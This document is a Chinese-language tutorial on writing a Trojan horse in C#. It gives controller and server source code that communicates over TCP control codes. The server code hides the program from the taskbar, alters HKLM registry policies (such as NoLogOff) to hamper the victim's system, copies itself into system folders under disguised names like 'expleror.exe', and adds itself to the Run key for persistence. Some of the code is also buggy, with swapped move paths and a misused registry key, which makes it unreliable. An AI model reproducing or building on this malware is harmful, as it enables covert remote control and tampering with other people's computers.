C#實現木馬程式

用C#實現木馬程式(1)    木馬的介紹：（參照駭客防線2000-2001精華本中的木馬原理揭秘）    因為本程式是木馬程式，所以在介紹之前有一些木馬構成的基本知識事先說明，因為下面很多地方會提到這些內容。一個完整的
木馬系統由硬體部分，軟體部分和具體串連部分組成。這裡主要對軟體部分介紹，它主要有控制端程式、木馬程式（後台服務程式
）、木馬配製程式組成。控制端用以遠端控制服務端的程式；木馬程式是潛入服務端內部，擷取其操作許可權的程式；木馬配製程式
是設定木馬程式的連接埠號碼，觸發條件，木馬名稱等，使其在服務端藏的更隱形程式。    使用的技術：   控制端程式發送控制碼控制伺服器，伺服器後台運行，修改註冊表達到控制的目的。技術不是很難的，主要體現C#的網路編程和
註冊表的修改。   控制端開發：    控制端向伺服器發出一段控制碼，服務端（木馬程式）收到控制碼後，根據控制的要求，完成指定的要求，如果伺服器完成工作
，返回成功的資訊。   控制端的開發：   控制碼的設定你可以自已設定，不需要詳解，主要有以下幾個痛點。   1 串連請求   使用了.NET類中的 System.Net.Sockets.TcpClient類,   TcpClient(string hostname,int port)   Hostname 是要控制的主機名稱，當然你也可以用IP地址。   Port是連接埠。   // System.EventArgs包含事件數目據類的基類   private void button7_Click(object sender, System.EventArgs e)    {    //記錄操作,在richTextBox控制項中增加操作資訊    richTextBox1.AppendText("請求串連" +textBox1.Text +"\r");    int port =6678;    try    {    //初始化 TcpClient 類的新執行個體並串連到指定主機上的指定連接埠    client = new TcpClient(textBox1.Text,port);    }    catch    {    MessageBox.Show("伺服器不線上!確定是否輸入主機名稱.");    richTextBox1.AppendText("伺服器不線上!確定是否輸入主機名稱.");    }    }//private void buttion   2測試是否與被控制機串連上。程式的流程是發送控制碼看控制端是否有反應，如果有返回則顯示控製成功。   //提供網路訪問的資料流    //private NetworkStream stream;   代碼如下：   private void button8_Click(object sender, System.EventArgs e)    {    //紀錄操作    richTextBox1.AppendText("測試連接" +"\r"); try    {       stream = client.GetStream();    if(stream.CanWrite)    {    //發送控制碼    string control = "jiance";    byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());    stream.Write(by,0,by.Length);    //下次使用    stream.Flush();   //啟動接收反回資料的線程   //receive是線程執行的函數，見後面的分析    threadReceive = new Thread(new ThreadStart(receive));    threadReceive.Start();    }    }    catch(Exception ee)    {    richTextBox1.AppendText (ee.Message+"\r");    MessageBox.Show(ee.Message);    }   }   3控制生效的代碼   private void button9_Click(object sender, System.EventArgs e)    {    //這裡是確定要發送的控制碼，RadioButton是表單控制項    if(radioButton1.Checked){ control = form2.zhUCex;}    else if(radioButton2.Checked){ control =form3.zhuces;}    else if(radioButton3.Checked){ control = warring;}    else if(radioButton4.Checked){ control =suggest;}    else if(radioButton5.Checked){ control =form4.mumawe;}    else if(radioButton6.Checked){ control =drop;}    if (control =="000000")    {    MessageBox.Show("你沒有輸入任何控制目標!不發控制訊號");    richTextBox1.AppendText("你沒有輸入任何控制目標!不發控制訊號");    }    else if(control != "000000")    {    try    {    //記錄操作    richTextBox1.AppendText (control + "正在試圖控制,等待回應......" + "\r");    stream = client.GetStream();    if(stream.CanWrite )    {    byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); stream.Write(by,0,by.Length);    stream.Flush();    threadReceive =new Thread(new ThreadStart(receive));    threadReceive.Start();    }//endif    }//try    catch    {    richTextBox1.AppendText("伺服器未串連1控制無效!" +"\r");    MessageBox.Show("伺服器未串連1控制無效!" +"\r");    }    }//else if   }      4線程執行的函數   private void receive()    {    //設定讀取資料的空間    byte[] bb = new byte[3];    //讀取3個位元組,i為實際讀取的位元組數    int i = stream.Read(bb,0,3);    //轉換成字串，如果是中文控制碼則用string ss = //System.Text.Encoding.Unicode.GetString(bb);    string ss = System.Text.Encoding.ASCII.GetString(bb);    //hjc為我設定的伺服器的返回碼 hjc為串連成功，hkz為控製成功    if(ss=="hjc")    {    MessageBox.Show("串連成功");    richTextBox1.AppendText("串連成功");    }    if(ss== "hkz")    {    richTextBox1.AppendText(control +"控製成功"+"\r");    MessageBox.Show(control +"控製成功"+"\r");    }   }   服務端的開發：    要實現木馬服務的程式，主要實現以下幾個功能：背景運行（隱藏技術），控制碼的接收與註冊表的修改，下面對這三方面做
介紹：   1．在VC#中，建立一個後台服務程式是很容易的，先建立一個新的C#的Windows應用程式，項目名稱自定（不過為了隱藏可使用與
系統相近的名稱），將表單內容“ShowInTaskbar”屬性設為false,讓它運行時不會在工作列中顯示，並將屬性“Windowstate”屬
性設為Mininized即可，這樣表單就可以隱藏運行了。當然你也可以在InitializeComponent()設定，此函數起初始化的作用，在窗
體顯示前運行，代碼如下：   private void InitializeComponent()    {    //    // Form1    //    //表單顯示的起點和大小    this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);    this.ClientSize = new System.Drawing.Size(368, 357);    //表單名稱    this.Name = "Form1";    //設定屬性讓它後台運行 this.ShowInTaskbar = false;    this.Text = "Form1";    this.WindowState = System.Windows.Forms.FormWindowState.Minimized;   }   2． 控制碼的接收，必需在服務程式運行開始就啟動，所以偵聽線程必需在程式初始化中啟動，所以放在表單的建構函式中，
代碼註解如下：   public Form1() //表單的建構函式    {    //    // Windows 表單設計器支援所必需的    //    InitializeComponent();       //    // TODO: 在 InitializeComponent 調用後添加任何建構函式代碼    //加入你的偵聽代碼    //連接埠你可以自已設定,我使用了固定的連接埠    int port =6678;    //System.Net.Sockets.TcpListener是用來在Tcp網路中偵聽用戶端的    listener = new TcpListener(port);    //啟動偵聽    listener.Start();    //增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()   //reControlCode 是線程啟動執行的函數，此函數根據接收的控制   //控制碼選取合適的註冊表修改函數    Thread thread = new Thread(new ThreadStart(reControlCode));    thread.Start();    }   reControlCode函數如下，完整代碼見程式   private void reControlCode()    {    //設定接收通訊端,接收listener.AcceptSocket是返回已經接收的客戶的請求    socket = listener.AcceptSocket();    //如果串連成功執行    while (socket.Connected)    {    //接收控制碼    byte [] by =new byte[6];    int i = socket.Receive(by,by.Length ,0);    string ss = System.Text.Encoding.ASCII.GetString(by);    //根據控制碼執行不同的功能       //修改註冊表加入編碼    switch (ss)    {   case "jiance"://測試連接,返回測試資訊    string str ="hjc";    byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);    socket.Send(bytee,0,bytee.Length,0);    break;    case "zx1000":    //修改註冊表函數,自已定義，見下面分析    UnLogOff(); retMessage();    break;       case "zx0100":    //修改註冊表函數    UnClose();    //返回控制訊息    retMessage();    break;    //重複的case功能與前面一樣,略掉    default:    break;    }//case    }//while    } //private void reControlCode   3．C#中實現註冊表的修改，使用了.NET類庫中的System.Microsoft.Win32命令空間，它提供兩種類型的類：處理由作業系統引發
的事件的類和對系統註冊表進行操作的類。下面就可以看到它的用法。這裡我做了一個修改註冊表的子程式：使電腦不能登出。
在這之前先瞭解註冊表，在子鍵SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\EXPlorer   下面設索引值NoLogOff 為 1 即可使電腦無法登出。在下面的函數中用C#實現對註冊表的修改：   private void UnLogOff()    {    //得到主機的註冊表的頂級節點   Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;   //設定一個註冊表子鍵的變數    RegistryKey key1;    try    {    //函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵    //registrykey是使用者指定的索引值，canwrite 為true則可修改，預設為fasle不可改    key1 =   rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);   //設定子鍵的鍵名，和值    key1.SetValue ("NoLogOff",1);    //關閉開啟的子鍵    key1.Close();    //警告字串設定    mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer索引值Nologoff
被修改！請將它置為0!";    }    catch{}    //如果不存在自已建立    if(key1 ==null)    {    try    {    //使用RegistryKey.CreateSubKey(string mystring)函數來建立你需要的子鍵 RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");    key2.SetValue("NoLogOff",1);    key2.Close();    mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer索引值Nologoff
被修改！請將它置為0!";    }    catch{}    }   }   4．在木馬程式中還有一個重要的功能就是自我的複製和轉移。木馬引入被控制的主機時必需自動將木馬隱藏在System,System32
的目錄下以防被發現。轉移的程式碼分析如下，主要實現的功能是將D盤下的木馬程式轉移到C:\\winnnt\\system\\msdoss.exe，同時
換名稱。使用的.NET命名空間System.IO,它的作用是允許對資料流和檔案進行同步和非同步讀寫。這裡我們使用了System.IO.File類
。   private void moveCC1()    {    try    {    //函數File.Move(string sourceFileName,string destFileName)起移動檔案的作用    //sourceFileName為要移動的檔案名稱，destFileName為檔案的新路徑    File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");    }    catch {}    //將新移的木馬程式設為自啟動.分析和前面一樣    try    {    key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);    key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");    key1.Close();    }    catch{}    if(key1 ==null)    {    try    {    RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");    key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");    key1.Close();    }    catch{}    }    } //moveCC1()